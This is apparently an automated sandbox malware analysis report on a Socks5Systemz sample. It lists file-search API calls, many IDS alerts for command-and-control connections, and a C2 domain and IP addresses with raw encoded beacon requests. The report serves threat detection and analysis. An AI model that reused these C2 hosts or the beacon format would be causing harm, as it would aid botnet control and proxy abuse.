Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00452A60 FindFirstFileA,GetLastError,	1_2_00452A60
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_004750DC FindFirstFileA,FindNextFileA,FindClose,	1_2_004750DC
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00464158 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	1_2_00464158
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_004981F8 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,	1_2_004981F8
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00462750 FindFirstFileA,FindNextFileA,FindClose,	1_2_00462750
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00463CDC SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	1_2_00463CDC

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49791 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49750 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49791 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49750 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49752 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49752 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49758 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49758 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49777 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49777 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49774 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49749 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49774 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49770 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49763 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49763 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49749 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49795 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49795 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49783 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49783 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49767 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49767 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49798 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49798 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49761 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49761 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49754 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49754 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49736 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49736 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49770 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49796 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49756 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49756 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49759 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49796 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49759 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49746 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49746 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49780 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49794 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49743 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49794 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49743 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49780 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49744 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49744 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49801 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49801 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49747 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49747 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49781 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49781 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49769 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49786 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49786 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49753 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49753 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49800 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49800 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49748 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49748 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49751 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49751 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49784 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49742 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49784 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49742 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49799 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49757 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49757 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49788 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49788 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49755 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49764 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49764 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49785 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49799 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49762 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49785 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49762 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49765 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49765 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49768 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49768 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49755 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49769 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49792 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49760 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49760 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49792 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49790 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49790 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49779 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49779 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49782 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49782 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49740 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49740 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49775 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49775 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49773 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49793 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49793 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49773 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49778 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49778 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49771 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49771 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49789 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49789 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49766 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49766 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49804 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49804 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49787 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49787 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49811 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49811 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49809 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49809 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49772 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49772 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49807 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49807 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49802 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49802 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49805 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49805 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49797 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49797 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49808 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49808 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49810 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49810 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49776 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49776 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49741 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49741 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49745 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49745 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49803 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49803 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49806 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49806 -> 185.196.8.214:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: beeyiuc.comC

Source: global traffic

TCP traffic: 192.168.2.4:49737 -> 195.154.173.35:2023

Source: Joe Sandbox View

IP Address: 185.196.8.214 185.196.8.214

Source: Joe Sandbox View

ASN Name: SIMPLECARRER2IT SIMPLECARRER2IT

Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf915c0ee969c3a HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
